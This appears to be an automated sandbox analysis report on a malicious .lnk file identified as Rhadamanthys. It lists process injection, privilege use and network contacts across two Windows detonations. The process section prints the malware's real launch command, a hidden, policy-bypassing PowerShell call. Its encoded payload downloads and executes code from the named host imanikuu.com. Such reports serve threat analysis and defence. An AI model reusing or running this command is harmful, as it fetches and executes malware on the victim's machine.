Analysis Overview
SHA256
3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef
Threat Level: Known bad
The file DOC692-692692.lnk.zip was found to be: Known bad.
Malicious Activity Summary
Suspicious use of NtCreateUserProcessOtherParentProcess
Rhadamanthys
Blocklisted process makes network request
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-04-05 11:41
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-04-05 11:41
Reported
2024-04-05 11:43
Platform
win7-20240221-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2336 wrote to memory of 2704 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2336 wrote to memory of 2704 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2336 wrote to memory of 2704 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
Network
Files
memory/2704-38-0x000000001B690000-0x000000001B972000-memory.dmp
memory/2704-39-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp
memory/2704-41-0x0000000002230000-0x0000000002238000-memory.dmp
memory/2704-40-0x0000000002840000-0x00000000028C0000-memory.dmp
memory/2704-44-0x0000000002840000-0x00000000028C0000-memory.dmp
memory/2704-43-0x0000000002840000-0x00000000028C0000-memory.dmp
memory/2704-42-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp
memory/2704-45-0x0000000002840000-0x00000000028C0000-memory.dmp
memory/2704-46-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-04-05 11:41
Reported
2024-04-05 11:43
Platform
win10v2004-20240226-en
Max time kernel
93s
Max time network
97s
Command Line
Signatures
Rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 1476 created 2896 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\sihost.exe |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
| N/A | N/A | C:\Windows\system32\dialer.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4552 wrote to memory of 1476 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4552 wrote to memory of 1476 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1476 wrote to memory of 3004 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1476 wrote to memory of 3004 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1476 wrote to memory of 3004 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
| PID 1476 wrote to memory of 3004 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\system32\dialer.exe |
Processes
C:\Windows\system32\sihost.exe
sihost.exe
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
C:\Windows\system32\dialer.exe
"C:\Windows\system32\dialer.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | imanikuu.com | udp |
| US | 64.20.41.122:443 | imanikuu.com | tcp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 122.41.20.64.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.136.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/1476-2-0x0000020670270000-0x0000020670292000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exvy4qkg.oa4.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1476-12-0x00007FFA2BAA0000-0x00007FFA2C561000-memory.dmp
memory/1476-14-0x0000020670370000-0x0000020670380000-memory.dmp
memory/1476-13-0x0000020670370000-0x0000020670380000-memory.dmp
memory/1476-15-0x00000206702A0000-0x00000206702FE000-memory.dmp
memory/1476-16-0x0000020670300000-0x0000020670310000-memory.dmp
memory/1476-17-0x0000020670930000-0x0000020670D30000-memory.dmp
memory/1476-19-0x0000020670930000-0x0000020670D30000-memory.dmp
memory/1476-18-0x0000020670300000-0x0000020670310000-memory.dmp
memory/1476-21-0x0000020670930000-0x0000020670D30000-memory.dmp
memory/1476-20-0x00007FFA49B70000-0x00007FFA49D65000-memory.dmp
memory/1476-22-0x00007FFA47E00000-0x00007FFA47EBE000-memory.dmp
memory/1476-23-0x00007FFA475B0000-0x00007FFA47879000-memory.dmp
memory/3004-24-0x0000015EF66C0000-0x0000015EF66C9000-memory.dmp
memory/1476-28-0x00007FFA2BAA0000-0x00007FFA2C561000-memory.dmp
memory/1476-29-0x0000020670930000-0x0000020670D30000-memory.dmp
memory/3004-31-0x0000015EF8230000-0x0000015EF8630000-memory.dmp
memory/3004-32-0x00007FFA49B70000-0x00007FFA49D65000-memory.dmp
memory/3004-34-0x00007FFA47E00000-0x00007FFA47EBE000-memory.dmp
memory/3004-33-0x0000015EF8230000-0x0000015EF8630000-memory.dmp
memory/3004-35-0x00007FFA475B0000-0x00007FFA47879000-memory.dmp
memory/3004-36-0x0000015EF8230000-0x0000015EF8630000-memory.dmp